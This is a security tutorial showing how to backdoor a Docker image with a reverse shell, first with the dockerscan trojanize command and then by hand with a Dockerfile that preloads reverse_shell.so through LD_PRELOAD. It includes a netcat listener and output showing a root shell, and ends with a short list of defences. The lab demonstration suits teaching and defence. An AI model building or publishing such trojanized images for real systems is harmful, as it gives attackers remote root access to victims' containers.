Backdooring Docker images - Reverse shell
Overview
Using trustworthy docker images is one of the most important parts of securing system. Easily, the attacker can prepare a docker image (by changing entrypoint, adding reverse shell or changing running user) and publish a malicious image on docker registry.
This section shows the way of trojanizing docker images by adding a reverse shell.
Precondition
For the testing purpose, it is needed to have nmap
installed:
sudo apt update
sudo apt install -y nmap
The next step to be done is the dockerscan
installation. It is analysis/hacking tool for docker images.
git clone https://github.com/cr0hn/dockerscan
cd dockerscan
sudo python3.6 setup.py install
Preparing exploited image - DockerScan
The image I choose for exploiting is ubuntu:latest
. Let’s download it and save it into the backdoor folder.
mkdir backdoor && cd backdoor
docker pull ubuntu:latest
docker save ubuntu:latest -o ubuntu-orginal
Also, for proper dockerscan working, we need to set 2 environment variables by placing it to .bashrc
file:
export LC_ALL=C.UTF-8
export LANG=C.UTF-8
Next step is to find IP address of the machine from which we listen for a message from trojanized image. For the purpose of this presentation, I would use docker host IP address in the same machine
ifconfig docker0
docker0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255
ether 02:42:78:ec:8f:87 txqueuelen 0 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Now we can use dockerscan trojanize feature to add reverse shell into
dockerscan image modify trojanize ubuntu-orginal -l 172.17.0.1 -p 8888 -o ubuntu-trojanized
docker@docker:~/backdoor$ dockerscan image modify trojanize ubuntu-orginal -l 172.17.0.1 -p 8888 -o ubuntu-trojanized
[ * ] Starting analyzing docker image...
[ * ] Selected image: 'ubuntu-orginal'
[ * ] Image trojanized successfully
[ * ] Trojanized image location:
[ * ] > /home/docker/backdoor/ubuntu-trojanized.tar
[ * ] To receive the reverse shell, only write:
[ * ] > nc -v -k -l 172.17.0.1 8888
docker@docker:~/backdoor$ ls
ubuntu-orginal ubuntu-trojanized.tar
Next, it is needed to load the trojanized image:
docker load -i ubuntu-trojanized.tar
The result should look like that:
3d87fd0aaa70: Loading layer [==================================================>] 30.72kB/30.72kB
Loaded image: ubuntu:latest
The image has been created attacker can run backdoor
Preparing exploited image - Manual Way
DockerScan use LD_PRELOAD
, Linux dynamic linker feature to inject malicious reverse shell library. In this section would be shown how to achieve the same result in a manual way.
Before starting the manual process, let’s remove the trojanized image:
docker image rm ubuntu:latest --force
Preparing DockerFile
We would use the same reverse shell library placed in docker scan GitHub page (https://github.com/cr0hn/dockerscan/blob/master/dockerscan/actions/image/modifiers/shells/reverse_shell.so).
Let’s prepare DockerFile
with revshell
inside for the same ubuntu image
FROM ubuntu:latest
COPY reverse_shell.so /usr/share/lib/reverse_shell.so
ENV LD_PRELOAD=/usr/share/lib/reverse_shell.so
ENV REMOTE_ADDR=172.17.0.1
ENV REMOTE_PORT=8888
CMD ["/bin/bash"]
Dockerfile explanation:
File defined in this environment variable LD_PRELOAD
would be loaded before any other library (including the C runtime, libc.so
). So this runs the reverse shell library before user start his/her shell.
REMOTE_ADDR
, REMOTE_PORT
- environment variables needed by reverse_shell library
Now let’s build DockerFile
docker build --tag=ubuntu .
Result:
docker build --tag=ubuntu .
Sending build context to Docker daemon 12.29kB
Step 1/6 : FROM ubuntu:latest
---> d70eaf7277ea
Step 2/6 : COPY reverse_shell.so /usr/share/lib/reverse_shell.so
---> Using cache
---> 44a9ff4b409f
Step 3/6 : ENV LD_PRELOAD=/usr/share/lib/reverse_shell.so
---> Using cache
---> acad76bec7fa
Step 4/6 : ENV REMOTE_ADDR=172.17.0.1
---> Using cache
---> 7f37969b574a
Step 5/6 : ENV REMOTE_PORT=8888
---> Using cache
---> 4c658bdb781a
Step 6/6 : CMD ["/bin/bash"]
---> Using cache
---> a984d02509ff
Successfully built a984d02509ff
Successfully tagged ubuntu:latest
The image has been created attacker can run backdoor
Running backdoor
Next step would be to open in another tab netcat to listen on the IP we specified before with command:
nc -v -k -l 172.17.0.1 8888
Listening on jacek 8888
When netcat
is listening from our IP is time to download trojanized container by the victim.
The last step is to run a shell on the infected image:
docker run -it ubuntu:latest /bin/bash
When user run trojanized shell netcat
listener should connect through reverse shell
to malicious container. So the attacker can remotely execute commands on the infected container.
➜ ~ nc -v -k -l 172.17.0.1 8888
Listening on jacek 8888
Connection received on 172.17.0.2 36408
connecting people
id
uid=0(root) gid=0(root) groups=0(root)
How to secure
- Use private docker register that only your build server produce images
- Never download docker images from untrusted repository maintainers
- Limit registry write access to a minimum (In best case only build server)
- Implement the signing of docker images (see: https://github.com/theupdateframework/notary)
- Use docker custom security profiles like AppArmor, Seccomp
- Use dynamic analysis tools like Remux
Sources
- https://github.com/cr0hn/dockerscan
- https://rafalcieslak.wordpress.com/2013/04/02/dynamic-linker-tricks-using-ld_preload-to-cheat-inject-features-and-investigate-programs/
- https://www.slideshare.net/cr0hn/rootedcon-2017-docker-might-not-be-your-friend-trojanizing-docker-images/1
- https://blog.secureideas.com/2020/10/ld_preload-introduction.html
Tags: Docker Security Backdoor ReverseShell
Maybe you want to share? :)